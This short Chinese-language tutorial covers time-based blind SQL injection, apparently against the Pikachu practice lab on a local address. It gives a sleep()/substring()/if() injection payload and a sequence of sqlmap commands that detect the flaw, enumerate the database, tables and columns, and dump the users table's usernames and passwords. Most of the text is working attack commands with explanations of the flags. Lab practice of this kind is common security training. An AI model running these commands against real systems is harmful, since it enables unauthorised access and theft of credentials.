利用原理
主要利用的函数
sleep()
substring()
if()
例子：
1' and if(substring((select * from students limit1),1,1)='a',sleep(5),0)
#当条件满足时，进行睡眠
使用sqlmap进行注入
1.查询是否存在时间注入
sqlmap -u "192.168.0.106/06/vul/sqli/sqli_str.php?name=1&submit=1" -p name -v 1 --technique=T --dbms mysql
2.获取数据库名称
sqlmap -u "192.168.0.106/06/vul/sqli/sqli_str.php?name=1&submit=1" -p name -v 1 --technique=T --dbms mysql --current-user --current-db --batch
-p:指定的检测方式
-u:指定url
-v:显示调试模式
--dbms:指定数据库
--technique=T:使用时间注入方式
--current-user:获取当前用户
--current-db:获取当前使用的数据库
--batch:使用默认模式 自动为y
3.获取表名
sqlmap -u "192.168.0.106/06/vul/sqli/sqli_str.php?name=1&submit=1" -p name -v 1 --technique=T --tables -D pikachu --batch
-D：指定数据库名称
--tables：获取所有的表
4.获取字段名
sqlmap -u "192.168.0.106/06/vul/sqli/sqli_str.php?name=1&submit=1" -p name -v 1 --technique=T --columns -D pikachu -T users --batch
-T:指定表名
--columns:获取所有的字段
5.获取账号密码
sqlmap -u "192.168.0.106/06/vul/sqli/sqli_str.php?name=1&submit=1" -p name -v 1 --technique=T -D pikachu -T users -C 'username,password' --dump --batch --thread 10
--dump：
-C:指定字段
--threads:指定线程数
